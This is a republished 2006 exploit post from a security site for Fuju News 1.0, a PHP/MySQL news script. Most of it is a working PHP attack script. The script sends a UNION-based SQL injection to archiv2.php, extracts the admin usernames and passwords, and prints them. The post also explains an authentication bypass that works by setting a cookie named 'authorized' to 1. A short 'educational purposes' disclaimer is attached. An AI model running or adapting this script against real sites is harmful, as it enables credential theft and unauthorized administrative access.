首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Fuju News 1.0 Authentication Bypass / Remote SQL Injection Exploit
来源:snatcher at gmx.ch 作者:snatcher 发布时间:2006-04-17  

<?php /*

|---==============================================================---|
| /\¯\__ /\¯\ |
| ____ ___ __ \ \ _\ ___\ \ \___ __ ___ |
| / __\ / _ \ / __ \ \ \ \/ / ___\ \ _ \ / __ \/\ __\ |
| /\__, \/\ \/\ \/\ \_\ \_\ \ \_/\ \__/\ \ \ \ \/\ __/\ \ \/ |
| \/\____/\ \_\ \_\ \__/ \_\\ \__\ \____\\ \_\ \_\ \____\\ \_\ |
| \/___/ \/_/\/_/\/__/\/_/ \/__/\/____/ \/_/\/_/\/____/ \/_/ |
| >> Internet Security |
|---==============================================================---|

title: fuju news 1.0 remote sql injection
release: 2006-04-16
author: snatcher [snatcher at gmx.ch]
country: switzerland |+|

application: Fuju News 1.0
description: a php / mysql based newsscript
download: http://www.clanscripte.net/main.php?content=download&do=file&dlid=243
description: you can get the password with a simple sql injection.
greets: honkey, str0ke <- good exploit publisher :),
all security guys and coders over the world
terms of use: this exploit is just for educational purposes, do not use it for illegal acts.


---------------------------- archiv2.php - line 25 --------------------------------------
$result1 =@mysql_query("SELECT * FROM news_sql WHERE ID LIKE $ID");
-----------------------------------------------------------------------------------------

because this $ID isn't escaped correctly you can insert malicious sql code,
i.e. with a union operator.


title: fuju news 1.0 restriction bypass

------------------------- edit_kategorie.php - line 19 ----------------------------------
$authorized=$HTTP_COOKIE_VARS['authorized'];
-----------------------------------------------------------------------------------------

that's the mistake of the code. you only have to create a session cookie named 'authorized'
with the value 1, and you are logged in.

*/
/*********************** CONFIGURATION ****************************/

$PATH_TO_FILE = 'http://yourhost.com/fuju/archiv2.php'; // in example: http://yourhost.com/fuju/archiv2.php
$TABLE_PREFIX = ''; // default: empty
$GET_VARS = '?ID='; // do not change
$SQL_INJECTION = '-666 union select pw,0,0,benutzer,0,0,pw from '. // do not change
$TABLE_PREFIX.'admin_sql /*';


/**************************** MAIN ********************************/

$file_array = file($PATH_TO_FILE.$GET_VARS.urlencode($SQL_INJECTION))or die('couldn\'t open host!');
foreach ($file_array as $now)
$html_content .= $now;

$html_content = str_castrate($html_content);

preg_match_all("!Autor:</span></strong></td></tr><trbordercolorlight='#2E2E2E'bordercolordark='#848484'>".
"<tdalign=leftvalign=topbgcolor=\"#49535C\"><divalign='center'><spanclass='Stil2'>(.*?)</div>!",
$html_content,$username); /* gets username */
preg_match_all("!Kategorie:</span></strong></p></div></td></tr><trbordercolorlight='#2E2E2E'bordercolordark=".
"'#848484'><tdalign=leftvalign=topbgcolor=\"#49535C\"><divalign='center'><fontclass=\"content\"".
"><spanclass='Stil2'>(.*?)</span>!",
$html_content,$password); /* gets password */

if ($username[1][0] && $password[1][0]) {
echo 'username: <b>'.$username[1][0].'</b><br>';
echo 'password: <b>'.$password[1][0].'</b>';
}else {
echo 'exploit failed! <br>';
}
echo '<br><br><br><br><br>
======================================================================<br>
exploit: fuju news 1.0 remote sql injection<br>
release: 2006-04-16<br>
author: snatcher [snatcher at gmx.ch]<br>
======================================================================';

function str_castrate($string) {
$string = str_replace("\n", '', $string);
$string = str_replace("\r", '', $string);
$string = str_replace(" ", '', $string);
return $string;
}
?>



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Sybase EAServer 5.2 (WebConsol
·Microsoft Windows Kernel APC D
·Symantec Sygate Management Ser
·PHP mysql_connect Function Nam
·Novell Messenger Server 2.0 (A
·BlueCoat WinProxy HTTP DoS
·PHP Album <= 0.3.2.3 Remote
·BlueCoat WinProxy Host: Header
·SysInfo 1.21 (sysinfo.cgi) Rem
·WinRAR 3.3.0 and below local B
·phpWebSite <= 0.10.2 (hub_d
·PHPNuke EV 7.7 search module q
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved